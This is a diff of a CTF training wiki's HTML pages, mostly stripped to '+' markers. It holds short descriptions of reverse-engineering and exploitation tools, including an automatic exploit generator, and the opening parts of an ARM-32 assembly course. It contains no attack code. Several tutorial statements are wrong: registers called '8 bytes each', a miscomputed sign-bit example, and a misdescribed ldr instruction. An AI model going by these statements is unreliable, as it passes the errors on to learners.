If the Windows SDK is already installed, open Settings, navigate to Apps & features, select Windows Software Development Kit, and then select Modify to change the installation to add Debugging Tools for Windows.

+
+

Looking for the debugging tools for earlier versions of Windows?

+

To download the debugger tools for previous versions of Windows, you need to download the Windows SDK for the version you are debugging from the Windows SDK and emulator archive. In the installation wizard of the SDK, select Debugging Tools for Windows, and deselect all other components.

+

Learn more about the debuggers

+

Learn more about WinDbg and other debuggers in Debugging Tools for Windows (WinDbg, KD, CDB, NTSD).

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Tool/PWN/WinHex/index.html b/Tool/PWN/WinHex/index.html new file mode 100644 index 000000000..7fcc19a0e --- /dev/null +++ b/Tool/PWN/WinHex/index.html @@ -0,0 +1,8060 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + WinHex: Computer Forensics & Data Recovery Software, Hex Editor & Disk Editor - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

WinHex: Computer Forensics & Data Recovery Software, Hex Editor & Disk Editor

+

WinHex is in its core a universal hexadecimal editor, particularly helpful in the realm of computer forensics, data recovery, low-level data processing, and IT security. An advanced tool for everyday and emergency use: inspect and edit all kinds of files, recover deleted files or lost data from hard drives with corrupt file systems or from digital camera cards. Features depend on the license type (license type comparison), among them:

+
    +
  • Disk editor for hard disks, floppy disks, CD-ROM & DVD, ZIP, Smart Media, Compact Flash, ...
  • +
  • Native support for FAT12/16/32, exFAT, NTFS, Ext2/3/4, Next3®, CDFS, UDF
  • +
  • Built-in interpretation of RAID systems and dynamic disks
  • +
  • Various data recovery techniques
  • +
  • RAM editor, providing access to physical RAM and other processes' virtual memory
  • +
  • Data interpreter, knowing 20 data types
  • +
  • Editing data structures using templates (e.g. to repair partition table/boot sector)
  • +
  • Concatenating and splitting files, unifying and dividing odd and even bytes/words
  • +
  • Analyzing and comparing files
  • +
  • Particularly flexible search and replace functions
  • +
  • Disk cloning (under DOS with X-Ways Replica)
  • +
  • Drive images & backups (optionally compressed or split into 650 MB archives)
  • +
  • Programming interface (API) and scripting
  • +
  • 256-bit AES encryption, checksums, CRC32, hashes (MD5, SHA-1, ...)
  • +
  • Erase (wipe) confidential files securely, hard drive cleansing to protect your privacy
  • +
  • Import all clipboard formats, incl. ASCII hex values
  • +
  • Convert between binary, hex ASCII, Intel Hex, and Motorola S
  • +
  • Character sets: ANSI ASCII, IBM ASCII, EBCDIC, (Unicode)
  • +
  • Instant window switching. Printing. Random-number generator.
  • +
  • Supports files of any size. Very fast. Easy to use. Extensive program help.
  • +
  • More
  • +
+

Having all the bits and bytes in a computer at your fingertips has become a reality. Try before you buy. Computer forensics edition of WinHex with even more features: X-Ways Forensics.

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Tool/PWN/Zeratool/index.html b/Tool/PWN/Zeratool/index.html new file mode 100644 index 000000000..c681ad3a4 --- /dev/null +++ b/Tool/PWN/Zeratool/index.html @@ -0,0 +1,8116 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Zeratool - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Zeratool

+

Automate exploit generate tool.

+

Abstract

+

zera

+

Automatic Exploit Generation (AEG) and remote flag capture for exploitable CTF problems

+

This tool uses angr to concolically analyze binaries by hooking printf and looking for unconstrained paths. These program states are then weaponized for remote code execution through pwntools and a series of script tricks. Finally the payload is tested locally then submitted to a remote CTF server to recover the flag.

+ +

GitHub repo: https://github.com/ChrisTheCoolHut/Zeratool

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Tool/PWN/x64dbg/index.html b/Tool/PWN/x64dbg/index.html new file mode 100644 index 000000000..70edb8a48 --- /dev/null +++ b/Tool/PWN/x64dbg/index.html @@ -0,0 +1,8142 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + x64dbg - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

x64dbg

+

An open-source x64/x32 debugger for windows.

+

Check out the blog!

+

Features

+
    +
  • Open-source
  • +
  • Intuitive and familiar, yet new user interface
  • +
  • C-like expression parser
  • +
  • Full-featured debugging of DLL and EXE files (TitanEngine)
  • +
  • IDA-like sidebar with jump arrows
  • +
  • IDA-like instruction token highlighter (highlight registers, etc.)
  • +
  • Memory map
  • +
  • Symbol view
  • +
  • Thread view
  • +
  • Source code view
  • +
  • Content-sensitive register view
  • +
  • Fully customizable color scheme
  • +
  • Dynamically recognize modules and strings
  • +
  • Import reconstructor integrated (Scylla)
  • +
  • Fast disassembler (Zydis)
  • +
  • User database (JSON) for comments, labels, bookmarks, etc.
  • +
  • Plugin support with growing API
  • +
  • Extendable, debuggable scripting language for automation
  • +
  • Multi-datatype memory dump
  • +
  • Basic debug symbol (PDB) support
  • +
  • Dynamic stack view
  • +
  • Built-in assembler (XEDParse/asmjit)
  • +
  • Executable patching
  • +
  • Yara Pattern Matching
  • +
  • Decompiler (Snowman)
  • +
  • Analysis
  • +
+

Wiki

+

https://github.com/x64dbg/x64dbg/wiki

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Tool/Reverse Engineering/Bytecode Viewer/index.html b/Tool/Reverse Engineering/Bytecode Viewer/index.html new file mode 100644 index 000000000..194ad93c4 --- /dev/null +++ b/Tool/Reverse Engineering/Bytecode Viewer/index.html @@ -0,0 +1,8148 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Bytecode Viewer - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Bytecode Viewer

+

Bytecode Viewer - a lightweight user-friendly Java/Android Bytecode Viewer, Decompiler & More.

+

New Features

+
    +
  • Dark mode with multiple themes
  • +
  • Translated into over 30 languages including: Arabic, German, Japanese, Mandarin, Russian, Spanish
  • +
  • Plugin Writer - create and edit external plugins from within BCV
  • +
  • Fixed Java & Bytecode editing/compiling
  • +
  • Tabbed plugin console
  • +
  • Right-click menus on the resource and search panels
  • +
  • Javap disassembler
  • +
  • XAPK support
  • +
  • Updated nearly all dependencies (incl. decompilers like CFR, JD-GUI etc.)
  • +
  • Updated ASM library to version 9.1
  • +
  • Added support to Java files compiled using JDK > 13
  • +
  • Migrated to Maven
  • +
+

Screenshot

+

Bytecode Viewer

+

Homepage

+

https://bytecodeviewer.com/

+

https://github.com/Konloch/bytecode-viewer

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Tool/Reverse Engineering/DiE/index.html b/Tool/Reverse Engineering/DiE/index.html new file mode 100644 index 000000000..0adf01d26 --- /dev/null +++ b/Tool/Reverse Engineering/DiE/index.html @@ -0,0 +1,8127 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Detect it Easy (DiE) - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Detect it Easy (DiE)

+

Detect It Easy, or abbreviated "DIE" is a program for determining types of files.

+

"DIE" is a cross-platform application, apart from Windows version there are also available versions for Linux and Mac OS.

+

Many programs of the kind (PEID, PE tools) allow to use third-party signatures. Unfortunately, those signatures scan only bytes by the pre-set mask, and it is not possible to specify additional parameters. As the result, false triggering often occur. More complicated algorithms are usually strictly set in the program itself. Hence, to add a new complex detect one needs to recompile the entire project. No one, except the authors themselves, can change the algorithm of a detect. As time passes, such programs lose relevance without the constant support.

+

Detect It Easy has totally open architecture of signatures. You can easily add your own algorithms of detects or modify those that already exist. This is achieved by using scripts. The script language is very similar to JavaScript and any person, who understands the basics of programming, will understand easily how it works. Possibly, someone may decide the scripts are working very slow. Indeed, scripts run slower than compiled code, but, thanks to the good optimization of Script Engine, this doesn't cause any special inconvenience. The possibilities of open architecture compensate these limitations.

+

DIE exists in three versions. Basic version ("DIE"), Lite version ("DIEL") and console version ("DIEC"). All the three use the same signatures, which are located in the folder "db". If you open this folder, nested sub-folders will be found ("Binary", "PE" and others). The names of sub-folders correspond to the types of files. First, DIE determines the type of file, and then sequentially loads all the signatures, which lie in the corresponding folder. Currently the program defines the following types:

+
    +
  • MSDOS executable files MS-DOS
  • +
  • PE executable files Windows
  • +
  • ELF executable files Linux
  • +
  • MACH executable files Mac OS
  • +
  • Binary all other files
  • +
+

Download: https://github.com/horsicq/DIE-engine/releases

+

Changelog: https://github.com/horsicq/Detect-It-Easy/blob/master/changelog.txt

+

Screenshot

+

DiE

+

Homepage

+

https://github.com/horsicq/Detect-It-Easy

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Tool/Reverse Engineering/ExeInfoPE/index.html b/Tool/Reverse Engineering/ExeInfoPE/index.html new file mode 100644 index 000000000..107a1d997 --- /dev/null +++ b/Tool/Reverse Engineering/ExeInfoPE/index.html @@ -0,0 +1,8117 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + ExeInfoPE - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

ExeInfoPE

+

Packer, compressor detector / unpack info / internal exe tools

+

Detect : Symbian / Android / Linux / Mac OS - files

+

PUP / PUA Applications & Downloaders

+

Archives : .zip , .rar , .zlb , .gz , .7 zip , .tar , .cab .is , ...

+

Screenshot

+

ExeInfoPE

+

Homepage

+

http://exeinfo.booomhost.com/

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Tool/Reverse Engineering/IDA/index.html b/Tool/Reverse Engineering/IDA/index.html new file mode 100644 index 000000000..02fbab885 --- /dev/null +++ b/Tool/Reverse Engineering/IDA/index.html @@ -0,0 +1,8096 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + IDA - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

IDA

+

The best-of-breed binary code analysis tool, an indispensable item in the toolbox of world-class software analysts, reverse engineers, malware analyst and cybersecurity professionals.

+

A powerful disassembler and a versatile debugger

+

IDA Pro as a disassembler is capable of creating maps of their execution to show the binary instructions that are actually executed by the processor in a symbolic representation (assembly language). Advanced techniques have been implemented into IDA Pro so that it can generate assembly language source code from machine-executable code and make this complex code more human-readable.

+

The debugging feature augmented IDA with the dynamic analysis. It supports multiple debugging targets and can handle remote applications. Its cross-platform debugging capability enables instant debugging, easy connection to both local and remote processes and support for 64-bit systems and new connection possibilities.

+

img

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Tool/Windows/index.html b/Tool/Windows/index.html new file mode 100644 index 000000000..1d52e361f --- /dev/null +++ b/Tool/Windows/index.html @@ -0,0 +1,8122 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Windows10 Penetration Suite Toolkit within Kali Linux - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Windows10 Penetration Suite Toolkit within Kali Linux

+

System Description

+

Based on the original Win10 Workstation 21H2 x64 image (not available for ARM devices).

+

Complete installation of WSL Kali Linux 2022.3.

+

streamline the software that comes with the system, beautify the fonts and some icons, and moderate optimization.

+

using single-disk file storage to improve performance.

+

Recommended runtime environment:

+
    +
  • vmware:16.x (VMware graphics memory 1G)
  • +
  • Running memory:8G
  • +
  • Solid State Drive:200G
  • +
+ +

https://github.com/makoto56/penetration-suite-toolkit

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Training/Material/ARM32_1/index.html b/Training/Material/ARM32_1/index.html new file mode 100644 index 000000000..7b57d76bc --- /dev/null +++ b/Training/Material/ARM32_1/index.html @@ -0,0 +1,8668 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + ARM-32 Course 1 - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

ARM-32 Course 1

+
+

https://github.com/mytechnotalent/Reverse-Engineering

+

by Kevin Thomas

+
+

Part 1 – The Meaning Of Life

+

“So if I go to college and learn Python or Java will I make a million dollars and have nice things?”

+

I felt it necessary to start out this tutorial series with such a statement. This is NOT an attack on Python or Java as in a prior life I worked with Java primarily in Android Development and currently use Python in my professional environment. In today’s Agile environment, rapid-development is reality. With the increased challenges in both the commercial market and the government sector, software development will continue to focus on more robust libraries that will do more with less.

+

As a Senior Software Engineer in Test, I try to help as many people as possible bridge their skill-set with either an entry-point or career advancement into the job market. One thing that is critical to understand is that there is and will continue to be a dramatic shortage of engineers and developers of all shapes and sizes.

+

Like it or not, hardware is getting smaller and smaller and the trend is going from CISC to RISC. A CISC is your typical x86 computer with a complex series of instructions. CISC computers will always exist however with the trend going toward cloud computing and the fact that RISC machines with a reduced instruction set are so enormously powerful today, they are the obvious choice for consumption.

+

How many cell phones do you think exist on earth today? Most of them are RISC machines. How many of you have a Smart TV or Amazon Echo or any number of devices considered part of the IoT or Internet Of Things? Each of these devices have one thing in common – they are RISC and all are primarily ARM based.

+

ARM is an advanced RISC machine. Compared to the very complex architecture of a CISC, most ARM systems today are what is referred to as a SoC or system on chip which is an integrated circuit which has all of the components of a computer and electronic system on a single chip. This includes RF functionality as well. These low-power embedded devices can run versions of Windows, Linux and many other advanced operating systems.

+

“Well who cares about ARM, you can call it anything you want, I know Python or Java and that’s all I need to know cause when I program it works everywhere so I don’t have to worry about anything under the hood.”

+

I again just want you to reflect on the above statement for a brief moment. As every day continues to pass, more and more systems are becoming vulnerable to attack and compromise. Taking the time to understand what is going on under the hood can only help to curb this unfortunate reality.

+

This series will focus on ARM Assembly. We will work with a Raspberry Pi 3 which contains the Broadcom BCM2837 SoC with a 4x ARM Cortex-A53, 1.2GHz CPU and 1 GB LPDDR2 RAM. We will work with the Raspbian Jessie, Linux-based operating system. If you don’t own a Raspberry Pi 3, they are usually available for $35 on Amazon or any number of retailers. If you would like to learn more visit https://www.raspberrypi.org.

+

We will work solely in the terminal so no pretty pictures and graphics as we are keeping it to the hardcore bare-bones utilizing the GNU toolkit to compile and debug our code base.

+

UNDER NO CONDITIONS ARE YOU TO EVER USE THIS EDUCATION TO CAUSE HARM TO ANY SYSTEM OF ANY KIND AS I AM NOT RESPONSIBLE! THIS IS FOR LEARNING PURPOSES ONLY!

+

Part 2 – Number Systems

+

At the core of the microprocessor are a series of binary numbers which are either +5V (on or 1) or 0V (off or 0). Each 0 or 1 represents a bit of information within the microprocessor. A combination of 8 bits results in a single byte.

+

Before we dive into binary, lets examine the familiar decimal. If we take the number 2017, we would understand this to be two thousand and seventeen.

+
Value          1000s    100s    10s    1s
+
+Representation 10^3     10^2    10^1   10^0
+
+Digit          2        0       1      7
+
+

Let’s take a look at the binary system and the basics of how it operates.

+
Bit Number     b7    b6    b5    b4    b3    b2    b1    b0
+
+Representation 2^7   2^6   2^5   2^4   2^3   2^2   2^1   2^0
+
+Decimal Weight 128   64    32    16    8     4     2     1
+
+

If we were to convert a binary number into decimal, we would very simply do the following. Lets take a binary number of 0101 1101 and as you can see it is 93 decimal.

+
Bit    Weight    Value
+
+0      128       0
+
+1      64        64
+
+0      32        0
+
+1      16        16
+
+1      8         8
+
+1      4         4
+
+0      2         0
+
+1      1         1
+
+

Adding the values in the value column gives us 0 + 64 + 0 + 16 + 8 + 4 + 0 + 1 = 93 decimal.

+

If we were to convert a decimal number into binary, we would check to see if a subtraction is possible relative to the highest order bit and if so, a 1 would be placed into the binary column to which the remainder would be carried into the next row. Let’s consider the example of the decimal value of 120 which is 0111 1000 binary.

+
128    64    32    16    8    4    2    1
+
+0      1     1     1     1    0    0    0
+
+

1)Can 128 fit inside of 120: No, therefore 0.

+

2)Can 64 fit inside of 120: Yes, therefore 1, then 120 – 64 = 56.

+

3)Can 32 fit inside of 56: Yes, therefore 1, then 56 – 32 = 24.

+

4)Can 16 fit inside of 24: Yes, therefore 1, then 24 – 16 = 8.

+

5)Can 8 fit inside of 8: Yes, therefore 1, then 8 – 8 = 0.

+

6)Can 4 fit inside of 0: No, therefore 0.

+

7)Can 2 fit inside of 0: No, therefore 0.

+

8)Can 1 fit inside of 0: No, therefore 0.

+

When we want to convert binary to hex we simply work with the following table.

+
Decimal    Hex    Binary
+
+0          0      0000
+
+1          1      0001
+
+2          2      0010
+
+3          3      0011
+
+4          4      0100
+
+5          5      0101
+
+6          6      0110
+
+7          7      0111
+
+8          8      1000
+
+9          9      1001
+
+10         A      1010
+
+11         B      1011
+
+12         C      1100
+
+13         D      1101
+
+14         E      1110
+
+15         F      1111
+
+

Lets convert a binary number such as 0101 1111 to hex. To do this we very simply look at the table and compare each nibble which is a combination of 4 bits. Keep in mind, 8 bits is equal to a byte and 2 nibbles are equal to a byte.

+
0101 = 5
+
+1111 = F
+
+

Therefore 0101 1111 binary = 0x5f hex. The 0x notation denotes hex.

+

To go from hex to binary it’s very simple as you have to simply do the opposite such as:

+
0x3a = 0011 1010
+
+
+3 = 0011
+
+A = 1010
+
+

It is important to understand that each hex digit is a nibble in length therefore two hex digits are a byte in length.

+

To convert from hex to decimal we do the following:

+
0x5f = 95
+
+
+5 = 5 x 16^1 = 5 x 16 = 80
+
+F = 15 x 16^0 = 15 x 1 = 15
+
+

Therefore we can see that 80 + 15 = 95 which is 0x5f hex.

+

Finally to convert from decimal to hex. Lets take the number 850 decimal which is 352 hex.

+
Division Result(No Remainder) Remainder Remainder Multiplication
+
+850 / 16 53                   0.125     0.125 x 16 = 2
+
+53 / 16  3                    0.3125    0.3125 x 16 = 5
+
+3 / 16   0                    0.1875    0.1875 x 16 = 3
+
+

We put the numbers together from bottom to the top and we get 352 hex.

+

“Why the hell would I waste my time learning all this crap when the computer does all this for me!”

+

If you happen to know any reverse engineers please if you would take a moment and ask them the above question.

+

The reality is, if you do NOT have a very firm understanding of how all of the above works, you will NEVER get a grasp on how the ARM processor registers hold and manipulate data. You will NEVER get a grasp on how the ARM processor deals with a binary overflow and it’s effect on how carry operations work nor will you understand how compare operations work or even the most basic operations of the most simple assembly code.

+

I am not suggesting you memorize the above, nor am I suggesting that you do a thousand examples of each. All I ask is that you take the time to really understand that literally everything and I mean everything goes down to binary bits in the processor.

+

Whether you are creating, debugging or hacking an Assembly, Python, Java, C, C++, R, JavaScript, or any other new language application that hits the street, ultimately everything MUST go down to binary 0 and 1 to which represent a +5V or 0V.

+

We as humans operate on the base 10 decimal system. The processor works on a base 16 (hex) system. The registers we are dealing with in conjunction with Linux are addressed in 32-bit sizes. When we begin discussion of the processor registers, we will learn that each are 32-bits wide (technically the BCM2837 are 64-bit wide however our version of Linux that we are working with is 32-bit therefore we only address 32-bits of each register).

+

Part 3 – Binary Addition

+

Binary addition can occur in one of four different fashions:

+
0 + 0 = 0
+
+1 + 0 = 1
+
+0 + 1 = 1
+
+1 + 1 = 0 (1) [One Plus One Equals Zero, Carry One]
+
+

Keep in mind the (1) means a carry bit. It very simply means an overflow.

+

Lets take the following 4-bit nibble example:

+
  0111
+
++ 0100
+
+= 1011
+
+

We see an obvious carry in the 3rd bit. If the 8th bit had a carry then this would generate a carry flag within the CPU.

+

Let’s examine an 8-bit number:

+
  01110000
+
++ 01010101
+
+= 11000101
+
+

If we had:

+
     11110000
+
++    11010101
+
+= (1)11000101
+
+

Here we see a carry bit which would trigger the carry flag within the CPU to be 1 or true. We will discuss the carry flag in later tutorials. Please just keep in mind this example to reference as it is very important to understand.

+

Part 4 – Binary Subtraction

+

Binary subtraction is nothing more than adding the negative value of the number to be subtracted. For example 8 + - 4, the starting point would be zero to which we move 8 points in the positive direction and then four points in the negative direction yielding a value of 4.

+

We represent a sign bit in binary to which bit 7 indicates the sign of number where 0 is positive and 1 is negative.

+
Sign Bit 7     Bits 0 – 6
+
+1              0000011
+
+

The above would represent -2.

+

We utilize the concept of twos compliment which inverts each bit and then finally adding 1.

+

Lets example binary 2.

+
00000010
+
+

Invert the bits.

+
11111101
+
+

Add 1.

+
  11111101
+
++ 00000001
+
+  11111110
+
+

Let’s examine a subtraction operation:

+
   00000100  4 decimal
+
+ + 11111110 -2 decimal
+
+(1)00000010  2 decimal
+
+

So what is the (1) you may ask, that is the overflow bit. In future tutorials we will examine what we refer to as the overflow flag and carry flag.

+

Part 5 – Word Lengths

+

The system on chip we are working with has a 32-bit ARM CPU. 32-bits is actually 4 bytes of information which make up a word.

+

If you remember my prior tutorial on x86 Assembly, a word was 16-bits. Every different architecture defines a word differently.

+

The most significant bit of a word for our ARM CPU is located at bit 31 therefore a carry is generated if an overflow occurs there.

+

The lowest address in our architecture starts at 0x00000000 and goes to 0xFFFFFFFF. The processor sees memory in word blocks therefore every 4 bytes. A memory address associated with the start of a word is referred to as a word boundary and is divisible by 4. For example here is our first word:

+
0x00000000
+
+0x00000004
+
+0x00000008
+
+0x0000000C
+
+

So why is this important? There is the concept of fetching and executing to which the processor deals with instructions to which it must work in this fashion for proper execution.

+

Before we dive into coding assembly it is critical that you understand some basics of how the CPU operates. There will be a number of more lectures going over the framework so I appreciate everyone hanging in there!

+

Part 6 – Registers

+

Our ARM microprocessor has internal storage which make any operation must faster as there is no external memory access needed. There are two modes, User and Thumb. We will be focusing on User Mode as we are ultimately focused on developing for a system on chip within a Linux OS rather than bare-metal programming which would be better suited on a microcontroller device.

+

In User Mode we have 16 registers and a CPSR register to which have a word length each which is 32-bits each or 8 bytes each.

+

Registers R0 to R12 are multi-purpose registers to which R13 – R15 have a unique purpose as well as the CPSR. Lets take a look at a simple table to illustrate.

+
R0 GPR (General-Purpose Register)
+
+R1 GPR (General-Purpose Register)
+
+R2 GPR (General-Purpose Register)
+
+R3 GPR (General-Purpose Register)
+
+R4 GPR (General-Purpose Register)
+
+R5 GPR (General-Purpose Register)
+
+R6 GPR (General-Purpose Register)
+
+R7 GPR (General-Purpose Register)
+
+R8 GPR (General-Purpose Register)
+
+R9 GPR (General-Purpose Register)
+
+R10 GPR (General-Purpose Register)
+
+R11 GPR (General-Purpose Register)
+
+R12 GPR (General-Purpose Register)
+
+R13 Stack Pointer
+
+R14 Link Register
+
+R15 Program Counter
+
+CPSR Current Program Status Register
+
+

It is critical that we understand registers in a very detailed way. At this point we understand R0 – R12 are general purpose and will be used to manipulate data as we build our programs and additionally when you are hacking apart or reverse engineering binaries from a hex dump on a cell phone or other ARM device, no matter what high-level language it is written in, it must ultimately come down to assembly which you need to understand registers and how they work to grasp and understand of any such aforementioned operation.

+

The chip we are working with is known as a load and store machine. This means we load a register with the contents of a register or memory location and we can store a register with the contents of a memory or register location. For example:

+
ldr, r4, [r10] @ 
+    load r4 with the contents of r10, if r10 had the decimal value of 
+    say 22, 22 would go to r4
+
+str, r9, [r4] @ 
+    store r9 contents into location in r4, if r9 had 0x02 hex, 
+    0x02 would be stored into location r4
+
+

The @ simply indicates to the compiler that what follows it on a given line is a comment and to be ignored.

+

The next few weeks we will take our time and look at each of the special purpose registers so you have a great understanding of what they do.

+

Part 7 - Program Counter

+

We will dive into the registers over the coming weeks to make sure you obtain a firm understand of their role and what they can do.

+

We begin with the PC or program counter. The program counter is responsible for directing the CPU to what instruction will be executed next. The PC literally holds the address of the instruction to be fetched next.

+

When coding you can refer to the PC as PC or R15 as register 15 is the program counter. You MUST treat it with care as you can set it wrong and crash the executable quite easily.

+

You can control the PC directly in code:

+

mov r15, 0x00000000

+

I would not suggest trying that as we are not in Thumb mode and that will cause a fault as you would be going to an OS area rather than designated program area.

+

Regarding our ARM processor, we follow the standard calling convention meaning params are passed by placing the param values into regs R0 – R3 before calling the subroutine and the subroutine returns a value by putting it in R0 before returning.

+

This is important to understand when we think about how execution flows when dealing with a stack operation and the link register which we will discuss in future tutorials.

+

When you are hacking or reversing a binary, controlling the PC is essential when you want to test for subroutine execution and learning about how the program flows in order to break it down and understand exactly what it is doing.

+

Part 8 - CPSR

+

The CPSR register stores info about the program and the results of a particular operation. Bits that are in the respective registers have pre-assigned conditions that are tested for an occurrence which are flags.

+

There are 32-bits that total this register. The highest 4 we are concerned with most which are:

+

Bit 31 – N = Negative Flag

+

Bit 30 – Z = Zero Flag

+

Bit 29 – C = Carry Flag (UNSIGNED OPERATIONS)

+

Bit 28 – V = Overflow flag (SIGNED OPERATIONS)

+

When the instruction completes the CPSR can get updated if it falls into one of the aforementioned scenarios. If one of the conditions occurs, a 1 goes into the respective bits.

+

There are two instructions that directly effect the CPSR flags which are CMP and CMN. CMP is compare such as:

+

CMP R1, R0 @notational subtraction where R1 – R0 and if the result is 0, bit 30 Z would be set to 1

+

The most logical command that usually follows is BEQ = branch if equal, meaning the zero flag was set and branches to another label within the code.

+

Regarding CMP, if two operands are equal then the result is zero. CMN makes the same comparison but with the second operand negated for example:

+

CMN R1, R0 @ R1 - (-R0) or R1 + R0

+

When dealing with the SUB command, the result would NOT update the CPSR you would have to use the SUBS command to make any flag update respectively.

+ +

The Link Register, R14, is used to hold the return address of a function call.

+

When a BL (branch with link) instruction performs a subroutine call, the link register is set to the subroutine return address. BL jumps to another location in the code and when complete allows a return to the point right after the BL code section. When the subroutine returns, the link register returns the address back to the program counter.

+

The link register does not require the writes and reads of the memory containing the stack which can save a considerable percentage of execution time with repeated calls of small subroutines.

+

When BL has executed, the return address which is the address of the next instruction to be executed, is loaded into the LR or R14. When the subroutine has finished, the LR is copied directly to the PC (Program Counter) or R15 and code execution continues where it was prior in the sequential code source.

+

CODE TIME! Don’t be discouraged if you don’t understand everything in the code example here. It will become clear over the next few lessons.

+

No alt text provided for this image

+

To compile:

+
as -o lr_demo.o lr_demo.s
+ld -o lr_demo lr_demo.o
+
+

The simple example I created here is pretty self-explanatory. We start and proceed to the no_return subroutine and proceed to the my_function subroutine then to the wrap_up subroutine and finally exit.

+

It is necessary that we jump into GDB which is our debugger to see exactly what happens with each step:

+

No alt text provided for this image

+

As you can see with every step inside the debugger it shows you exactly the progression from no_return to my_function skipping wrap_up until the program counter gets the address from the link register.

+

No alt text provided for this image

+

Here we see the progression from wrap_up to exit.

+

This is a fundamental operation when we see next week how the stack operates as the LR is an essential part of this process.

+

Part 10 – Stack Pointer

+

The Stack is an abstract data type to which is a LIFO (Last In First Out). When we push a value onto the stack it goes into the Stack Pointer and when it is popped off of the stack it pops the value off of the stack and into a register of your choosing.

+

CODE TIME! Again, don’t be discouraged if you don’t understand everything in the code example here. It will become clear over the next few lessons.

+

No alt text provided for this image

+

To compile:

+
as -o sp_demo.o sp_demo.s
+ld -o sp_demo sp_demo.o
+
+

Once again lets load the binary into GDB to see what is happening.

+

No alt text provided for this image

+

Lets step into one time.

+

No alt text provided for this image

+

We see hex 30 or 48 decimal moved into r7. Lets step into again.

+

No alt text provided for this image

+

We see the value of the sp change from 0x7efff3a0 to 0xefff39c. That is a movement backward 4 bytes. Why the heck is the stack pointer going backward you may ask!

+

The answer revolves around the fact that the stack grows DOWNWARD. When we say the top of the stack you can imagine a series of plates being placed BENEATH of each other.

+

Originally the sp was at 0x7efff3a0.

+

No alt text provided for this image

+

When we pushed r7 onto the stack, the new value of the Stack Pointer is now 0x7efff39c so we can see the Stack truly grows DOWNWARD in memory.

+

No alt text provided for this image

+

Now lets step into again.

+

No alt text provided for this image

+

We can see the value of hex 10 or decimal 16 moved into r7. Notice the sp did not change.

+

Before we step into again, lets look at the value inside the sp.

+

